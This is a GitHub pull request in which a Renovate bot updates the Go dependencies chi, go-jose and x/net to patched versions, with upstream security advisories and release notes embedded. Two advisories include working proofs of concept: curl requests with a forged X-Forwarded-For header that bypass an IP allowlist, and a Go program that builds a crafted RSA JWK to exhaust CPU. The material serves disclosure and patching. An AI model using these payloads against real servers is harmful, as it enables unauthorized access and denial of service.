Skip to content

chore(deps): update vulnerable dependencies [security] (main) - #414

Merged
adamwg merged 1 commit into
mainfrom
renovate/main-vulnerable-dependencies
Oct 28, 2026
Merged

chore(deps): update vulnerable dependencies [security] (main)#414
adamwg merged 1 commit into
mainfrom
renovate/main-vulnerable-dependencies

Conversation

@crossplane-renovate

@crossplane-renovate crossplane-renovate Bot commented Oct 9, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/go-chi/chi/v5 v5.3.0 → v5.4.0 age confidence
github.com/go-jose/go-jose/v4 v4.1.4 → v4.1.6 age confidence
golang.org/x/net v0.58.0 → v0.62.0 age confidence

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

CVE-2026-114437 / GHSA-j6qf-3m9c-vwj3

More information

Details

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

  1. Send GET /admin directly to the origin with no X-Forwarded-For header.
  2. Observe a 403 Forbidden response and an empty derived client IP.
  3. Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
  4. Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.
Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: DoS when parsing JWKs that contain RSA keys

CVE-2026-116587 / GHSA-mgcc-cww5-fp2q

More information

Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}
Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

HTTP/2 server memory exhaustion due to Trailer headers in net/http

BIT-golang-2026-78659 / CVE-2026-78659 / GO-2026-6603

More information

Details

When "Trailer" headers are sent by a client, the HTTP server internally uses the header values to populate the Request.Trailer map passed to the server handler. Because Request.Trailer is a map, each entry incurs memory overhead. For HTTP/2 servers, a malicious client can exploit this by sending a "Trailer" header that declares a large number of fields, causing the server to allocate a disproportionate amount of memory while bypassing Server.MaxHeaderValueCount and Server.MaxHeaderBytes limits. This exploit is not applicable for HTTP/1 servers, which do not support multiplexing a large number of requests over one TCP connection, and whose Server.MaxHeaderBytes are calculated differently.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

HTTP/2 transport accepts malformed framing-related headers in net/http

BIT-golang-2026-78660 / CVE-2026-78660 / GO-2026-6610

More information

Details

Historically, we have been rather lax about malformed framing-related headers in our HTTP/2 implementation, as they cannot interfere with HTTP/2 framing. However, this makes it possible for our HTTP/2 implementation to forward responses containing such headers to an HTTP/1 client when acting as a reverse proxy. If the HTTP/1 client also does not behave strictly enough, this can result in response smuggling.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Excessive CPU consumption from repeated initial window changes in net/http

BIT-golang-2026-78669 / CVE-2026-78669 / GO-2026-6611

More information

Details

A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Double flow control refund on HTTP/2 server streams in net/http

BIT-golang-2026-78663 / CVE-2026-78663 / GO-2026-6612

More information

Details

The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream (refunding data for any sent-but-unread portion of the stream), and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configured connection-level flow control limit (MaxReceiveBufferPerConnection). Total buffered data is still limited by the concurrent stream limit and stream-level flow control.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

HTTP/2 server crash due to HPACK encoder race in net/http

BIT-golang-2026-97032 / CVE-2026-97032 / GO-2026-6617

More information

Details

HTTP/2 servers could end up crashing due to inadvertently modifying its HPACK encoder concurrently. This happens because the server modifies the HPACK encoder from two goroutines without synchronization: one uses the encoder to encode a HEADERS frame as part of a response sent to a client and the other modifies the encoder's table size when handling a SETTINGS frame containing SETTINGS_HEADER_TABLE_SIZE that a client sends. A malicious client can repeatedly send a request while changing the header table size to crash the server.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Avoid quadratic complexity when coalescing text nodes in html in golang.org/x/net

CVE-2026-78661 / GO-2026-6860

More information

Details

When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as "a") caused O(n^2) allocations and byte copies.

Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Check all ancestor namespace transitions when rendering raw text in html in golang.org/x/net

CVE-2026-97045 / GO-2026-6866

More information

Details

In childTextNodesAreLiteral, walking up the tree previously stopped at the nearest foreign ancestor once an HTML integration point was found. However, that integration point may itself be a descendant of an element that was foster-parented into a foreign namespace (such as or fostered under ), causing a parser to resolve the subtree in a different foreign namespace upon re-parsing the rendered output.

Continue walking the full ancestor chain and verify that every transition from a non-empty namespace occurs at an HTML integration point before emitting literal text.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

go-chi/chi (github.com/go-chi/chi/v5)

v5.4.0

Compare Source

What's Changed

New Contributors

Full Changelog: go-chi/chi@v5.3.2...v5.4.0

v5.3.2

Compare Source

What's Changed

  • feat(middleware): add text/markdown, text/csv, text/vtt to default compressible types by @​VojtechVitek in #​1151
  • docs: deployment recipe for middleware.ClientIPFromXFFTrustedProxies() by @​VojtechVitek in #​1111
  • fix: don't drop handlers that collide with a Mount()/Route() pattern by @​VojtechVitek in #​1148
  • Don't duplicate methods in Allow: header for 405 responses by @​flimzy in #​1029
  • fix(middleware): reject catch-all compress wildcards by @​VojtechVitek in #​1156
    • middleware.NewCompressor(level, "/*") never worked and silently compressed nothing. Instead of turning it into a compress-everything catch-all (as proposed in #​868 and #​1121), we decided to reject both "/" and "/*" at construction and panic. Compressing every response wastes CPU on already-compressed types (zip, jpeg, png), which is why the middleware keeps a curated default list. Users should pass explicit content types.

Full Changelog: go-chi/chi@v5.3.1...v5.3.2

v5.3.1

Compare Source

What's Changed

New Contributors

Full Changelog: go-chi/chi@v5.3.0...v5.3.1

go-jose/go-jose (github.com/go-jose/go-jose/v4)

v4.1.6

Compare Source

Fixed Security Issues

This release contains a fix for GHSA-mgcc-cww5-fp2q

Breaking Changes

The fix for GHSA-mgcc-cww5-fp2q involves capping the size of the RSA modulus of keys accepted by JWK parsing. This limit is 4096 bits. If you need this to be higher, set MaxRSAModulusBits before performing any JWK parsing.

Changed

Full Changelog: go-jose/go-jose@v4.1.5...v4.1.6

v4.1.5

Compare Source

Fixed security issues

  • cipher/cbc_hmac: don't panic on empty ciphertext (#​292)
  • cipher/cbc_hmac: don't panic on invalid key (#​291)
  • json: limit stack depth (#​290)
  • jwt: reject out-of-range NumericDate values (#​278)
  • Check alg against pubkey curve during verify. (#​293)
  • Reject malformed Ed25519 JWKs (#​250)
  • jws: choose verification key per-signature (#​243)

Breaking Changes

In #​226, we un-exported jose.RandReader. This was used to be able to stub out the randomness function in tests, but is ignored as of Go 1.26 in some APIs, so no longer serves a useful function.

Changed

  • Verify OpaqueSigner's Public() return is public (#​260)
  • jws: skip signature on ErrJWKSKidNotFound (#​248)
  • Handle JWE JSON without protected header (#​240)
  • jws: don't strip internal whitespace before parsing JSON (#​239)
  • jws: fewer calls to OpaqueSigner.Public() (#​224)
  • Return a specific error when parsing empty string (#​216)
  • Reject typed nil at Verify time (#​285)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@crossplane-renovate

crossplane-renovate Bot commented Oct 9, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 7 additional dependencies were updated

Details:

Package Change
golang.org/x/mod v0.40.0 -> v0.41.0
golang.org/x/sync v0.22.0 -> v0.24.0
golang.org/x/text v0.41.0 -> v0.43.0
golang.org/x/tools v0.49.0 -> v0.51.0
golang.org/x/crypto v0.56.0 -> v0.58.0
golang.org/x/sys v0.47.0 -> v0.49.0
golang.org/x/term v0.45.0 -> v0.47.0

@crossplane-renovate
crossplane-renovate Bot requested review from a team and tampakrap as code owners October 9, 2026 08:08
@crossplane-renovate
crossplane-renovate Bot requested review from adamwg and removed request for a team October 9, 2026 08:08
@crossplane-renovate
crossplane-renovate Bot force-pushed the renovate/main-vulnerable-dependencies branch 3 times, most recently from 0f3dacb to fb82a3c Compare October 24, 2026 08:06
@crossplane-renovate crossplane-renovate Bot changed the title chore(deps): update module golang.org/x/net to v0.60.0 [security] (main) chore(deps): update vulnerable dependencies [security] (main) Oct 24, 2026
@crossplane-renovate
crossplane-renovate Bot force-pushed the renovate/main-vulnerable-dependencies branch from fb82a3c to 2f2d3d5 Compare October 27, 2026 21:34
@crossplane-renovate
crossplane-renovate Bot force-pushed the renovate/main-vulnerable-dependencies branch from 2f2d3d5 to f9af82a Compare October 28, 2026 08:06
@adamwg
adamwg merged commit 2f86de7 into main Oct 28, 2026
11 checks passed
@adamwg
adamwg deleted the renovate/main-vulnerable-dependencies branch October 28, 2026 19:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@adamwg adamwg adamwg approved these changes
@jcogilvie jcogilvie Awaiting requested review from jcogilvie jcogilvie is a code owner
@tampakrap tampakrap Awaiting requested review from tampakrap tampakrap is a code owner

Assignees

No one assigned

Labels

automated security

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@adamwg